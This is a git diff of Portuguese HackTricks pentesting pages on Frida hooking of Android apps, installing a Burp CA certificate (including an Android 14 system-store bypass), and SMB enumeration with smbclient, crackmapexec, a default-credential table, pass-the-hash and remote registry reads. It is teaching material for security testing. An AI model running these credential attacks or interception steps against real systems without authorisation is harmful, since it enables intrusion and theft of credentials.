[https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) **Siga o [link para ler](frida-tutorial-1.md).** ### [Tutorial 2](frida-tutorial-2.md) -**Fonte**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ -**APKs e código-fonte**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**Origem**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ +**APKs e Código fonte**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **Siga o[ link para ler.](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) -**Fonte**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**Origem**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) **Siga o [link para ler](owaspuncrackable-1.md).** @@ -101,7 +101,7 @@ Notas ## Exemplos Rápidos -### Chamando o Frida pela linha de comando +### Chamando Frida da linha de comando ```bash frida-ps -U @@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### Hooking de funções sem parâmetros +### Hooking funções sem parâmetros Hook a função `a()` da classe `sg.vantagepoint.a.c` ```javascript @@ -168,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking de funções com parâmetros e recuperando o valor +### Hooking de funções com parâmetros e obtendo o valor -Hooking de uma função de descriptografia. Imprima a entrada, chame a função original para descriptografar a entrada e, finalmente, imprima os dados em claro: +Fazendo Hooking de uma decryption function. Imprima a entrada, chame a função original para decryptar a entrada e, finalmente, imprima os dados em claro: ```javascript function getString(data) { var ret = "" @@ -195,7 +195,7 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### Hooking de funções e chamando-as com nosso input +### Hooking de funções e chamando-as com nossa entrada Faça hook em uma função que recebe uma string e chame-a com outra string (a partir de [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript @@ -212,9 +212,9 @@ return ret ``` ### Obtendo um objeto já criado de uma classe -Se quiser extrair um atributo de um objeto já criado, pode usar isto. +Se você quiser extrair algum atributo de um objeto já criado, pode usar isto. -Neste exemplo você verá como obter o objeto da classe my_activity e como chamar a função .secret() que imprimirá um atributo privado do objeto: +Neste exemplo você verá como obter o objeto da classe my_activity e como chamar a função .secret() que vai imprimir um atributo privado do objeto: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity", { onMatch: function (instance) { @@ -228,13 +228,13 @@ onComplete: function () {}, ## Outros tutoriais sobre Frida - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [Parte 1 da série de blogs Advanced Frida Usage: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) ## Referências -- [Construa um laboratório Android de Bug Bounty repetível: Emulator vs Magisk, Burp, Frida e Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -- [Documentação do Frida Gadget](https://frida.re/docs/gadget/) -- [Releases do Frida (binários do servidor)](https://github.com/frida/frida/releases) +- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [Frida Gadget documentation](https://frida.re/docs/gadget/) +- [Frida releases (server binaries)](https://github.com/frida/frida/releases) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 4b3fcf4bd..5a9aec5a4 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -1,11 +1,11 @@ -# Instalar certificado do Burp +# Instalar Certificado do Burp {{#include ../../banners/hacktricks-training.md}} -## Proxy no sistema via ADB +## Proxy em todo o sistema via ADB -Configure um proxy HTTP global para que todos os apps encaminhem o tráfego através do seu interceptor (Burp/mitmproxy): +Configure um proxy HTTP global para que todos os apps direcionem o tráfego através do seu interceptor (Burp/mitmproxy): ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -17,16 +17,16 @@ Dica: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect ( ## Em uma Máquina Virtual -Primeiro, você precisa baixar o certificado Der do Burp. Você pode fazer isso em _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ +Antes de tudo você precisa baixar o certificado Der do Burp. Você pode fazer isso em _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ ![](<../../images/image (367).png>) -**Exporte o certificado em formato Der** e vamos **transformá-lo** para uma forma que o **Android** consiga **entender.** Observe que **para configurar o certificado do Burp na máquina Android no AVD** você precisa **executar** esta máquina **com** a opção **`-writable-system`**.\ -Por exemplo, você pode executá-la assim: +**Exporte o certificado em formato Der** e vamos **transformá-lo** para uma forma que **Android** vai conseguir **entender.** Note que **para configurar o certificado do burp na máquina Android em AVD** você precisa **executar** essa máquina **com** a opção **`-writable-system`**.\ +Por exemplo você pode executá-la assim: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -Então, para **configurar o certificado do Burp**: +Então, para **configurar o certificado do Burp, faça**: ```bash openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" @@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -Once the **a máquina terminar de reiniciar** o certificado do Burp estará em uso! +Assim que a **máquina terminar de reiniciar** o certificado do burp estará em uso por ela! -## Usando Magisc +## Using Magisc -Se você **rooted seu dispositivo com Magisc** (talvez um emulador), e você **não consegue seguir** os **passos** anteriores para instalar o certificado do Burp porque o **sistema de arquivos está em somente leitura** e você não pode remontá-lo como gravável, há outra maneira. +Se você **rootou seu dispositivo com Magisc** (talvez um emulator), e você **não consegue seguir** os passos anteriores para instalar o certificado Burp porque o **sistema de arquivos está somente leitura** e você não consegue remountá-lo como gravável, existe outra forma. Explicado em [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) você precisa: -1. **Instalar um certificado CA**: Basta **arrastar e soltar** o certificado DER do Burp **alterando a extensão** para `.crt` no celular para que seja armazenado na pasta Downloads e vá em `Install a certificate` -> `CA certificate` +1. **Instalar um CA certificate**: Basta **arrastar&soltar** o certificado DER Burp **alterando a extensão** para `.crt` no celular para que ele seja armazenado na pasta Downloads e ir para `Install a certificate` -> `CA certificate`
-- Verifique que o certificado foi armazenado corretamente indo em `Trusted credentials` -> `USER` +- Verifique que o certificado foi corretamente armazenado indo em `Trusted credentials` -> `USER`
-2. **Tornar confiável pelo sistema**: Baixe o módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste e solte** no telefone, vá ao **Magics app** no telefone para a seção **`Modules`**, clique em **`Install from storage`**, selecione o módulo `.zip` e uma vez instalado **reinicie** o telefone: +2. **Torná-lo confiável pelo System**: Faça o download do módulo Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (um arquivo .zip), **arraste&solte** no telefone, abra o app Magics no telefone na seção **`Modules`**, clique em **`Install from storage`**, selecione o módulo `.zip` e, uma vez instalado, **reboot** o telefone:
-- Após reiniciar, vá em `Trusted credentials` -> `SYSTEM` e verifique que o Postswigger cert está lá +- Após o reboot, vá em `Trusted credentials` -> `SYSTEM` e verifique se o certificado Postswigger está lá
-### Aprenda como criar um módulo Magisc +### Learn how to create a Magisc module -Veja [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) +Confira [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) -## Pós Android 14 +## Post Android 14 -No lançamento mais recente do Android 14, observou-se uma mudança significativa no tratamento dos certificados de Autoridade Certificadora (CA) confiáveis pelo sistema. Anteriormente, esses certificados ficavam em **`/system/etc/security/cacerts/`**, acessíveis e modificáveis por usuários com privilégios root, o que permitia sua aplicação imediata em todo o sistema. Contudo, com o Android 14, o local de armazenamento foi movido para **`/apex/com.android.conscrypt/cacerts`**, um diretório dentro do caminho **`/apex`**, que é imutável por natureza. +No lançamento mais recente do Android 14, foi observada uma mudança significativa no tratamento dos certificados de Certificate Authority (CA) confiáveis pelo sistema. Antes, esses certificados ficavam em **`/system/etc/security/cacerts/`**, acessíveis e modificáveis por usuários com privilégios root, o que permitia aplicação imediata em todo o sistema. Contudo, com o Android 14, o local de armazenamento foi movido para **`/apex/com.android.conscrypt/cacerts`**, um diretório dentro do caminho **`/apex`**, que é imutável por natureza. -Tentativas de remontar o **APEX cacerts path** como gravável falham, pois o sistema não permite tais operações. Mesmo tentativas de desmontar ou sobrepor o diretório com um sistema de arquivos temporário (tmpfs) não contornam a imutabilidade; as aplicações continuam acessando os dados originais dos certificados independentemente das mudanças no nível do sistema de arquivos. Essa resistência se deve ao fato de a montagem **`/apex`** estar configurada com propagação PRIVATE, garantindo que quaisquer modificações dentro do diretório **`/apex`** não afetem outros processos. +Tentativas de remountar o **APEX cacerts path** como gravável falham, pois o sistema não permite tais operações. Mesmo tentativas de desmontar ou sobrepor o diretório com um sistema de arquivos temporário (tmpfs) não contornam a imutabilidade; as aplicações continuam acessando os dados originais dos certificados independentemente das alterações no nível do sistema de arquivos. Essa resiliência se deve ao fato de o mount de **`/apex`** estar configurado com PRIVATE propagation, garantindo que quaisquer modificações dentro do diretório **`/apex`** não afetem outros processos. -A inicialização do Android envolve o processo `init`, que, ao iniciar o sistema operacional, também inicia o processo Zygote. Esse processo é responsável por lançar os processos das aplicações com um novo namespace de montagem que inclui uma montagem privada **`/apex`**, isolando assim alterações a esse diretório de outros processos. +A inicialização do Android envolve o processo `init` que, ao iniciar o sistema operacional, também inicia o processo Zygote. Esse processo é responsável por lançar processos de aplicações com um novo namespace de mount que inclui um mount privado de **`/apex`**, isolando assim alterações nesse diretório dos demais processos. -Ainda assim, existe uma solução alternativa para quem precisa modificar os certificados CA confiáveis pelo sistema dentro do diretório **`/apex`**. Isso envolve remontar manualmente **`/apex`** para remover a propagação PRIVATE, tornando-o gravável. O processo inclui copiar o conteúdo de **`/apex/com.android.conscrypt`** para outro local, desmontar o diretório **`/apex/com.android.conscrypt`** para eliminar a restrição de somente leitura e então restaurar o conteúdo para seu local original dentro de **`/apex`**. Essa abordagem requer ação rápida para evitar travamentos do sistema. Para garantir que essas mudanças se apliquem em todo o sistema, recomenda-se reiniciar o `system_server`, o que efetivamente reinicia todas as aplicações e traz o sistema a um estado consistente. +No entanto, existe uma solução alternativa para quem precisa modificar os certificados CA confiáveis pelo sistema dentro do diretório **`/apex`**. Isso envolve remountar manualmente **`/apex`** para remover a PRIVATE propagation, tornando-o gravável. O processo inclui copiar o conteúdo de **`/apex/com.android.conscrypt`** para outro local, desmontar o diretório **`/apex/com.android.conscrypt`** para eliminar a restrição de somente leitura e então restaurar o conteúdo para sua localização original dentro de **`/apex`**. Essa abordagem requer ação rápida para evitar crashes do sistema. Para garantir a aplicação das mudanças em todo o sistema, recomenda-se reiniciar o `system_server`, o que efetivamente reinicia todas as aplicações e coloca o sistema em um estado consistente. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -133,22 +133,23 @@ echo "System certificate injected" ``` ### Bind-mounting through NSEnter -1. **Configurando um diretório gravável**: Inicialmente, um diretório gravável é criado montando um `tmpfs` sobre o diretório de certificados do sistema non-APEX existente. Isso é feito com o seguinte comando: +1. **Configurando um Diretório Gravável**: Inicialmente, um diretório gravável é criado montando um `tmpfs` sobre o diretório de certificados do sistema non-APEX existente. Isso é feito com o seguinte comando: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Preparando Certificados CA**: Após a configuração do diretório gravável, os certificados CA que se pretende usar devem ser copiados para esse diretório. Isso pode envolver copiar os certificados padrão de `/apex/com.android.conscrypt/cacerts/`. É essencial ajustar as permissões e rótulos SELinux desses certificados adequadamente. -3. **Montagem bind para Zygote**: Usando `nsenter`, entra-se no namespace de montagem do Zygote. O Zygote, sendo o processo responsável por iniciar aplicações Android, requer este passo para garantir que todas as aplicações iniciadas a partir de então utilizem os certificados CA recém-configurados. O comando usado é: +2. **Preparando certificados CA**: Após a configuração do diretório gravável, os certificados CA que se pretende usar devem ser copiados para este diretório. Isso pode envolver copiar os certificados padrão de `/apex/com.android.conscrypt/cacerts/`. É essencial ajustar as permissões e os rótulos SELinux desses certificados adequadamente. + +3. **Bind Mount para o Zygote**: Utilizando `nsenter`, entra-se no namespace de montagem do Zygote. O Zygote, sendo o processo responsável por iniciar aplicações Android, requer este passo para garantir que todas as aplicações iniciadas a partir de agora utilizem os certificados CA recém-configurados. O comando usado é: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -Isso garante que cada novo app iniciado seguirá a configuração atualizada dos certificados CA. +Isto garante que todo novo app iniciado irá aderir à configuração atualizada de certificados CA. -4. **Aplicando alterações em apps em execução**: Para aplicar as alterações às aplicações já em execução, `nsenter` é novamente usado para entrar no namespace de cada app individualmente e executar um bind mount semelhante. O comando necessário é: +4. **Aplicando Alterações em Apps em Execução**: Para aplicar as alterações às aplicações já em execução, `nsenter` é novamente usado para entrar no namespace de cada app individualmente e realizar um bind mount semelhante. O comando necessário é: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Abordagem alternativa - Reinício suave**: Um método alternativo envolve realizar o bind mount no processo `init` (PID 1) seguido por um reinício suave do sistema operacional com os comandos `stop && start`. Essa abordagem propagaria as mudanças por todos os namespaces, evitando a necessidade de tratar individualmente cada app em execução. No entanto, esse método geralmente é menos preferido devido ao inconveniente de reiniciar. +5. **Abordagem Alternativa - Reinicialização suave**: Um método alternativo envolve realizar o bind mount no processo `init` (PID 1), seguido de uma reinicialização suave do sistema operacional com os comandos `stop && start`. Essa abordagem propaga as alterações por todos os namespaces, evitando a necessidade de tratar individualmente cada aplicativo em execução. No entanto, esse método normalmente é menos preferido devido ao inconveniente de reiniciar. ## Referências diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 5cbd34306..979cb4ffd 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -2,37 +2,37 @@ {{#include ../../banners/hacktricks-training.md}} -## **Porta 139** +## **Port 139** -O _**Network Basic Input Output System**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicações, PCs e estações de trabalho dentro de uma rede local (LAN) interajam com o hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e a localização de aplicações de software operando em uma rede NetBIOS são obtidas através de seus nomes NetBIOS, que podem ter até 16 caracteres e frequentemente são diferentes do nome do computador. Uma sessão NetBIOS entre duas aplicações é iniciada quando uma aplicação (atuando como cliente) emite um comando para "chamar" outra aplicação (atuando como servidor) utilizando **TCP Port 139**. +O _**Network Basic Input Output System**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicações, PCs e Desktops dentro de uma rede local (LAN) interajam com o hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicações de software que operam em uma rede NetBIOS são feitas por meio dos seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e frequentemente são distintos do nome do computador. Uma sessão NetBIOS entre duas aplicações é iniciada quando uma aplicação (atuando como cliente) emite um comando para "chamar" outra aplicação (atuando como servidor) utilizando **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -## Porta 445 +## Port 445 -Tecnicamente, a Porta 139 é referida como ‘NBT over IP’, enquanto a Porta 445 é identificada como ‘SMB over IP’. A sigla **SMB** significa ‘**Server Message Blocks**’, que também é modernamente conhecida como **Common Internet File System (CIFS)**. Como um protocolo de rede de camada de aplicação, SMB/CIFS é utilizado principalmente para permitir acesso compartilhado a arquivos, impressoras, portas seriais e para facilitar várias formas de comunicação entre nós em uma rede. +Tecnicamente, Port 139 é referido como ‘NBT over IP’, enquanto Port 445 é identificado como ‘SMB over IP’. A sigla **SMB** significa ‘**Server Message Blocks**’, que também é conhecida modernamente como **Common Internet File System (CIFS)**. Como um protocolo de rede da camada de aplicação, SMB/CIFS é utilizado principalmente para permitir acesso compartilhado a arquivos, impressoras, portas seriais e facilitar várias formas de comunicação entre nós em uma rede. -Por exemplo, no contexto do Windows, destaca-se que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, através da utilização da porta 445. Por outro lado, em outros sistemas, observa-se o uso da porta 139, indicando que o SMB está sendo executado em conjunto com o NetBIOS sobre TCP/IP. +Por exemplo, no contexto do Windows, destaca-se que SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS over TCP/IP, por meio da utilização de Port 445. Por outro lado, em outros sistemas, observa-se o uso de Port 139, indicando que SMB está sendo executado em conjunto com NetBIOS over TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -O protocolo **Server Message Block (SMB)**, operando num modelo **cliente-servidor**, é projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede como impressoras e roteadores. Utilizado principalmente na série de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais recentes do sistema operacional da Microsoft interajam sem problemas com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação multiplataforma via SMB. +O **Server Message Block (SMB)**, operando em um modelo **cliente-servidor**, foi projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede como impressoras e roteadores. Utilizado principalmente na família de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais recentes do sistema da Microsoft interajam sem problemas com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, possibilitando a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas via SMB. -Shares, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidos por um servidor SMB, tornando a hierarquia visível a um cliente em parte **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **direitos de acesso**, permitem um **controle granular** sobre as permissões de usuários, incluindo atributos como **`execute`**, **`read`**, e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nos shares, e são distintas das permissões locais definidas no servidor. +Shares, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidas por um servidor SMB, fazendo a hierarquia visível para um cliente parcialmente **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **direitos de acesso**, permitem um **controle granular** sobre as permissões de usuários, incluindo atributos como **`execute`**, **`read`** e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nas shares, e são distintas das permissões locais configuradas no servidor. ### IPC$ Share -O acesso ao IPC$ share pode ser obtido através de uma sessão nula anônima, permitindo a interação com serviços expostos via named pipes. A ferramenta `enum4linux` é útil para esse propósito. Quando utilizada corretamente, ela possibilita a obtenção de: +O acesso ao IPC$ share pode ser obtido através de uma null session anônima, permitindo a interação com serviços expostos via named pipes. A ferramenta `enum4linux` é útil para esse propósito. Utilizada corretamente, ela permite a obtenção de: - Informações sobre o sistema operacional - Detalhes sobre o domínio pai -- Uma compilação de usuários e grupos locais +- Uma lista de usuários e grupos locais - Informações sobre SMB shares disponíveis - A política de segurança efetiva do sistema -Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar potenciais vulnerabilidades e garantir que os serviços SMB estejam corretamente protegidos. +Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB em uma rede. `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos. ```bash enum4linux -a target_ip ``` @@ -40,7 +40,8 @@ O comando acima é um exemplo de como `enum4linux` pode ser usado para realizar ## O que é NTLM -Se você não sabe o que é NTLM ou quer entender como ele funciona e como explorá-lo, achará muito interessante esta página sobre **NTLM**, onde é explicado **como este protocolo funciona e como você pode tirar proveito dele:** +Se você não sabe o que é NTLM ou quer entender como ele funciona e como explorá-lo, achará muito interessante esta página sobre **NTLM** onde é explicado **como esse protocolo funciona e como você pode tirar proveito dele:** + {{#ref}} ../../windows-hardening/ntlm/ @@ -54,7 +55,7 @@ nbtscan -r 192.168.0.1/24 ``` ### Versão do servidor SMB -Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas usadas, você pode: +Para procurar possíveis exploits para a versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode: - Use o módulo auxiliar **MSF** `**auxiliary/scanner/smb/smb_version**` - Ou este script: @@ -81,23 +82,23 @@ searchsploit microsoft smb ``` ### **Possíveis** Credenciais -| **Nome(s) de usuário** | **Senhas comuns** | -| -------------------- | ----------------------------------------- | -| _(blank)_ | _(blank)_ | -| guest | _(blank)_ | -| Administrator, admin | _(blank)_, password, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | password, test, lab, demo | +| **Nome(s) de usuário** | **Senhas comuns** | +| ---------------------- | ----------------------------------------- | +| _(blank)_ | _(blank)_ | +| guest | _(blank)_ | +| Administrator, admin | _(blank)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | ### Brute Force - [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) -### Informações do ambiente SMB +### SMB Environment Information -### Obter Informações +### Obter informações ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -119,9 +120,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Enumerar Usuários, Grupos e Usuários Logados +### Enumerar Usuários, Grupos & Usuários Conectados -Essas informações já devem ter sido coletadas pelo enum4linux e pelo enum4linux-ng +Esta informação já deve ter sido coletada pelos enum4linux e enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -156,7 +157,7 @@ run rpcclient-enumeration.md {{#endref}} -### Conexão GUI no Linux +### GUI connection from Linux #### No terminal: @@ -170,7 +171,7 @@ rpcclient-enumeration.md ### Listar pastas compartilhadas -Sempre é recomendado verificar se você consegue acessar algo. Se você não tiver credenciais, tente usar **null** **credentials/guest user**. +É sempre recomendado verificar se você consegue acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -196,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Enumere manualmente shares do Windows e conecte-se a elas** +### **Enumerar manualmente os compartilhamentos do Windows e conectar-se a eles** -Pode acontecer que você esteja impedido de exibir quaisquer shares da máquina host e, quando tenta listá-las, pareça que não há shares para conectar. Portanto pode valer a pena tentar conectar manualmente a um share. Para enumerar os shares manualmente, procure por respostas como NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME ao usar uma sessão válida (e.g. null session or valid credentials). Estas podem indicar se o share existe e você não tem acesso a ele ou se o share não existe. +Pode ser que você esteja impedido de exibir quaisquer compartilhamentos da máquina host e, quando tenta listá-los, pareça que não há compartilhamentos para conectar. Portanto, pode valer a pena tentar rapidamente conectar-se manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode procurar respostas como NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME ao usar uma sessão válida (ex.: null session ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe. -Nomes comuns de share para alvos Windows são +Nomes de compartilhamento comuns para alvos Windows são - C$ - D$ @@ -211,9 +212,9 @@ Nomes comuns de share para alvos Windows são - SYSVOL - NETLOGON -(Nomes comuns de share do _**Network Security Assessment 3rd edition**_) +(Nomes de compartilhamento comuns de _**Network Security Assessment 3rd edition**_) -Você pode tentar conectar-se a elas usando o seguinte comando +Você pode tentar conectar-se a eles usando o seguinte comando ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) @@ -240,7 +241,7 @@ exemplos smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Enumerar shares no Windows / sem ferramentas de terceiros** +### **Enumerar compartilhamentos no Windows / sem ferramentas de terceiros** PowerShell ```bash @@ -252,21 +253,21 @@ get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` -Console do CMD +Console CMD ```shell # List shares on the local computer net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Snap-in (gráfico) +MMC Snap-in (interface gráfica) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (gráfico), digite `\\\` para ver os compartilhamentos não ocultos disponíveis. +explorer.exe (interface gráfica), digite `\\\` para ver as pastas compartilhadas não ocultas disponíveis. ### Montar uma pasta compartilhada ```bash @@ -292,14 +293,14 @@ smbclient /// ``` Comandos: -- mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo "" para todos os arquivos) -- recurse: alterna a recursão (padrão: desligado) -- prompt: desativa a solicitação de nomes de arquivos (padrão: ligado) +- mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (e.g. "" for all files) +- recurse: ativa recursão (padrão: off) +- prompt: alterna a solicitação de nomes de arquivo para off (padrão: on) - mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente (_Informações do manpage do smbclient_) -### Busca por Pastas Compartilhadas do Domínio +### Pesquisa de Pastas Compartilhadas do Domínio - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash @@ -311,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Especialmente interessantes nos shares são os arquivos chamados **`Registry.xml`** pois eles **podem conter senhas** de usuários configurados com **autologon** via Group Policy. Ou arquivos **`web.config`**, já que contêm credenciais. +Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials. > [!TIP] -> A **SYSVOL share** é **legível** por todos os usuários autenticados no domínio. Lá você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell **scripts**.\ -> Você deve **verificar** os **scripts** dentro dela, pois pode **encontrar** informações sensíveis como **senhas**. +> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ +> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. -## Ler Registry +## Ler o Registro -Você pode conseguir **ler o Registry** usando credenciais descobertas. Impacket **`reg.py`** permite que você tente: +Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. Impacket **`reg.py`** permite que você tente: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 